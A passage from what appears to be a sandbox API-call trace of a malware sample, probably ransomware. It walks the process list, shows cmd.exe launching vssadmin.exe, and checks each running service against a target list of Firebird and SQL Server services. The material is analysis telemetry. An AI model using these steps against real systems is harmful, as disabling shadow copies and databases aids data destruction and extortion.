lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0040.267] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0040.267] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0040.267] lstrlenW (lpString="hugown.exe") returned 10 [0040.267] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0040.268] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0040.268] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0040.268] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0040.268] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0040.269] lstrlenW (lpString="locked welsh.exe") returned 16 [0040.269] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0040.269] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0040.269] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0040.270] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0040.270] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0040.270] lstrlenW (lpString="planners.exe") returned 12 [0040.270] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0040.271] lstrlenW (lpString="agreements.exe") returned 14 [0040.271] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0040.271] lstrlenW (lpString="tray.exe") returned 8 [0040.271] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0040.272] lstrlenW (lpString="wp std.exe") returned 10 [0040.272] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0040.272] lstrlenW (lpString="lesser.exe") returned 10 [0040.272] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0040.273] lstrlenW (lpString="right-tissue.exe") returned 16 [0040.273] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0040.273] lstrlenW (lpString="bunch.exe") returned 9 [0040.273] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0040.274] lstrlenW (lpString="jam.exe") returned 7 [0040.274] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0040.274] lstrlenW (lpString="chooseincidence.exe") returned 19 [0040.274] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0040.275] lstrlenW (lpString="numericalrear.exe") returned 17 [0040.275] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0040.275] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0040.276] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0040.276] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0040.276] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0040.276] lstrlenW (lpString="come_wave.exe") returned 13 [0040.277] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.277] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.277] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.277] lstrlenW (lpString="dllhost.exe") returned 11 [0040.278] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0040.668] lstrlenW (lpString="uyuquk.exe") returned 10 [0040.668] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.669] lstrlenW (lpString="cmd.exe") returned 7 [0040.669] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.669] lstrlenW (lpString="conhost.exe") returned 11 [0040.669] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0040.670] lstrlenW (lpString="vssadmin.exe") returned 12 [0040.670] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0040.670] lstrlenW (lpString="VSSVC.exe") returned 9 [0040.670] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0040.671] CloseHandle (hObject=0x1b0) returned 1 [0040.671] Sleep (dwMilliseconds=0x1f4) [0041.683] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d68 [0041.683] EnumServicesStatusExW (in: hSCManager=0x566d68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0041.683] GetLastError () returned 0xea [0041.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0041.683] EnumServicesStatusExW (in: hSCManager=0x566d68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0041.684] CloseServiceHandle (hSCObject=0x566d68) returned 1 [0041.684] lstrlenW (lpString="Appinfo") returned 7 [0041.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.684] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.685] lstrlenW (lpString="AudioSrv") returned 8 [0041.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.685] lstrlenW (lpString="BFE") returned 3 [0041.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.685] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.685] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.685] lstrlenW (lpString="CryptSvc") returned 8 [0041.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.685] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.685] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.685] lstrlenW (lpString="CscService") returned 10 [0041.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.685] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.685] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.685] lstrlenW (lpString="DcomLaunch") returned 10 [0041.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.685] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.686] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.686] lstrlenW (lpString="Dhcp") returned 4 [0041.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.686] lstrlenW (lpString="Dnscache") returned 8 [0041.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.686] lstrlenW (lpString="DPS") returned 3 [0041.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.686] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.686] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.686] lstrlenW (lpString="eventlog") returned 8 [0041.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.686] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.686] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.686] lstrlenW (lpString="EventSystem") returned 11 [0041.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.686] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.686] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.687] lstrlenW (lpString="gpsvc") returned 5 [0041.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.687] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.687] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.687] lstrlenW (lpString="iphlpsvc") returned 8 [0041.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.687] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.687] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.687] lstrlenW (lpString="LanmanServer") returned 12 [0041.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.687] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.687] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.687] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.687] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.687] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.687] lstrlenW (lpString="lmhosts") returned 7 [0041.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.687] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.687] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.687] lstrlenW (lpString="MMCSS") returned 5 [0041.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.688] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.688] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.688] lstrlenW (lpString="MpsSvc") returned 6 [0041.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.688] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.688] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.688] lstrlenW (lpString="Netman") returned 6 [0041.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.688] lstrlenW (lpString="netprofm") returned 8 [0041.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.688] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.688] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.688] lstrlenW (lpString="NlaSvc") returned 6 [0041.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.688] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.688] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.688] lstrlenW (lpString="nsi") returned 3 [0041.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.688] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.688] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.689] lstrlenW (lpString="PcaSvc") returned 6 [0041.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.689] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.689] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.689] lstrlenW (lpString="PlugPlay") returned 8 [0041.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.689] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.689] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.689] lstrlenW (lpString="Power") returned 5 [0041.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.689] lstrlenW (lpString="ProfSvc") returned 7 [0041.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.689] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.689] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.689] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.689] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.689] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.689] lstrlenW (lpString="RpcSs") returned 5 [0041.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.690] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.690] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.690] lstrlenW (lpString="SamSs") returned 5 [0041.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.690] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.690] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.690] lstrlenW (lpString="Schedule") returned 8 [0041.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.690] lstrlenW (lpString="SENS") returned 4 [0041.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.690] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.690] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.690] lstrcmpiW (lpString1="sqlserveradhelper", 